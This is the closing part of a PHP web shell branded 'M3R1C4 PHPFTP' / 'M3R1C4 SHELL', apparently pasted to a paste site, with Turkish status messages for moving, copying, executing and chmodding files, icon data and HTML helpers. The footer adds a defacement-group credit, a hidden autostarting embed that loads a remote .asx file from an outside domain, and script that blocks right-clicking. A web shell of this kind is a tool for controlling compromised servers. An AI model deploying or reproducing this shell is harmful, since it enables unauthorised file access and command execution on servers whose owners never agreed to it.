  1839. 'Tasi_files' => 'Dosyayi TAsi:',
  1840. 'Tasid' => "Bu Dosyalar Tasindi \"[%2]\":\n[%1]",
  1841. 'not_Tasid' => "Bu Dosyalar Tasinamaz \"[%2]\":\n[%1]",
  1842. 'Kopyala_files' => 'Bu Dosyalari Kopyala:',
  1843. 'copied' => "Bu Dosyalar Kopyalanir \"[%2]\":\n[%1]",
  1844. 'not_copied' => "Bu Dosyalar Kopyalanamaz \"[%2]\":\n[%1]",
  1845. 'not_Düzenleed' => '"[%1]" Düzenle.',
  1846. 'executed' => "\"[%1]\" Basarili bir sekilde Uygulandi:\n{%2}",
  1847. 'not_executed' => "\"[%1]\" Basarili bir sekilde Uygulanamadi:\n{%2}",
  1848. 'saved' => '"[%1]" Kurtarildi.',
  1849. 'not_saved' => '"[%1]" Kurtarýlamadý.',
  1850. 'symlinked' => 'Symlink "[%2]" to "[%1]" Olusturuldu.',
  1851. 'not_symlinked' => 'Not "[%2]" to "[%1]" Symlinked.',
  1852. 'permission_for' => 'Permission "[%1]":',
  1853. 'permission_set' => 'Permission "[%1]" Set [%2].',
  1854. 'permission_not_set' => 'Permission "[%1]" Not Set [%2].',
  1855. 'not_readable' => '"[%1]" Okunamadi.'
  1856.         );
  1857.  
  1858.     }
  1859.  
  1860. }
  1861.  
  1862. function getimage ($image) {
  1863.     switch ($image) {
  1864.     case 'file':
  1865.         return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
  1866.     case 'folder':
  1867.         return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA');
  1868.     case 'hidden_file':
  1869.         return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
  1870.     case 'link':
  1871.         return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');
  1872.     case 'smiley':
  1873.         return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA=');
  1874.     case 'arrow':
  1875.         return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');
  1876.     }
  1877. }
  1878.  
  1879. function html_header () {
  1880.     global $charset;
  1881.  
  1882.     echo <<<END
  1883. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
  1884.      "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  1885. <html xmlns="http://www.w3.org/1999/xhtml">
  1886. <head>
  1887.  
  1888. <meta http-equiv="Content-Type" content="text/html; charset=$charset" />
  1889.  
  1890. <title>M3R1C4 PHPFTP</title>
  1891.  
  1892. <style type="text/css">
  1893. body { font: small sans-serif; text-align: center }
  1894. img { width: 0px; height: 0px }
  1895. a, a:visited { text-decoration: none; color: black }
  1896. hr { border-style: none; height: 1px; Geriground-color: silver; color: silver }
  1897. #main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
  1898. #main th { Geriground: #eee; padding: 3pt 3pt 0pt 3pt }
  1899. .listing th, .listing td { padding: 1px 3pt 0 3pt }
  1900. .listing th { border: 1px solid silver }
  1901. .listing td { border: 1px solid #ddd; Geriground: white }
  1902. .listing .checkbox { text-align: center }
  1903. .listing .filename { text-align: left }
  1904. .listing .size { text-align: right }
  1905. .listing .permission_header { text-align: left }
  1906. .listing .permission { font-family: monospace }
  1907. .listing .owner { text-align: left }
  1908. .listing .group { text-align: left }
  1909. .listing .Görevler { text-align: left }
  1910. .listing_footer td { Geriground: #eee; border: 1px solid silver }
  1911. #directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
  1912. #directory { Geriground: #eee; border: 1px solid silver }
  1913. #upload { padding-top: 1em }
  1914. #create { padding-bottom: 1em }
  1915. .small, .small option { font-size: x-small }
  1916. textarea { border: none; Geriground: white }
  1917. table.dialog { margin-left: auto; margin-right: auto }
  1918. td.dialog { Geriground: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
  1919. #permission { margin-left: auto; margin-right: auto }
  1920. #permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
  1921. td.permission_action { text-align: right }
  1922. #symlink { Geriground: #eee; border: 1px solid silver }
  1923. #symlink td { text-align: left; padding: 3pt }
  1924. #red_button { width: 120px; color: #400 }
  1925. #green_button { width: 120px; color: #040 }
  1926. #error td { Geriground: maroon; color: white; border: 1px solid silver }
  1927. #notice td { Geriground: green; color: white; border: 1px solid silver }
  1928. #notice pre, #error pre { Geriground: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
  1929. code { font-size: 12pt }
  1930. td { white-space: nowrap }
  1931. </style>
  1932.  
  1933. <script type="text/javascript">
  1934. <!--
  1935. function activate (name) {
  1936.     if (document && document.forms[0] && document.forms[0].elements['focus']) {
  1937.         document.forms[0].elements['focus'].value = name;
  1938.     }
  1939. }
  1940. //-->
  1941. </script>
  1942.  
  1943. </head>
  1944. <body>
  1945.  
  1946.  
  1947. END;
  1948.  
  1949. }
  1950.  
  1951. function html_footer () {
  1952.  
  1953.     echo <<<END
  1954. </body>
  1955. </html>
  1956. END;
  1957.  
  1958. }
  1959.  
  1960. function notice ($phrase) {
  1961.     global $cols;
  1962.  
  1963.     $args = func_get_args();
  1964.     array_shift($args);
  1965.  
  1966.     return '<tr id="notice">
  1967.     <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
  1968. </tr>
  1969. ';
  1970.  
  1971. }
  1972.  
  1973. function error ($phrase) {
  1974.     global $cols;
  1975.  
  1976.     $args = func_get_args();
  1977.     array_shift($args);
  1978.  
  1979.     return '<tr id="error">
  1980.     <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
  1981. </tr>
  1982. ';
  1983.  
  1984. }
  1985.  
  1986. ?>
  1987. <BODY><IMG style="WIDTH: 330px; HEIGHT: 100px" height=100
  1988. src="https://3.bp.blogspot.com/-Mz-LKCNewBo/V37WqDEzL5I/AAAAAAAAAto/Ke32vbKNlVoUOYWKBg_3gDXGIvl-TJ8sgCLcB/s1600/M3R1C4%2BSHELL.png" width=282></BODY>
  1989. <br><Center><A href="http://trenggalekcybernew.blogspot.co.id/">M3R1C4</A> [16-08-2016 23:56]</Center>
  1990. <FONT
  1991. class=footmsg><EMBED src=http://www.imhabirligi.com/r1/hurl.asx hidden=true
  1992. type="text/plain; charset=iso-8859-9"
  1993. AUTOSTART="TRUE">
  1994. <script language=JavaScript>
  1995. <!--
  1996.  
  1997. var message="";
  1998. ///////////////////////////////////
  1999. function clickIE() {if (document.all) {(message);return false;}}
  2000. function clickNS(e) {if
  2001. (document.layers||(document.getElementById&&!document.all)) {
  2002. if (e.which==2||e.which==3) {(message);return false;}}}
  2003. if (document.layers)
  2004. {document.captureEvents(Event.MOUSEDOWN);document.onmousedown=clickNS;}
  2005. else{document.onmouseup=clickNS;document.oncontextmenu=clickIE;}
  2006.  
  2007. document.oncontextmenu=new Function("return false")
  2008. // -->
  2009. </script>
Add Comment
Please, Sign In to add comment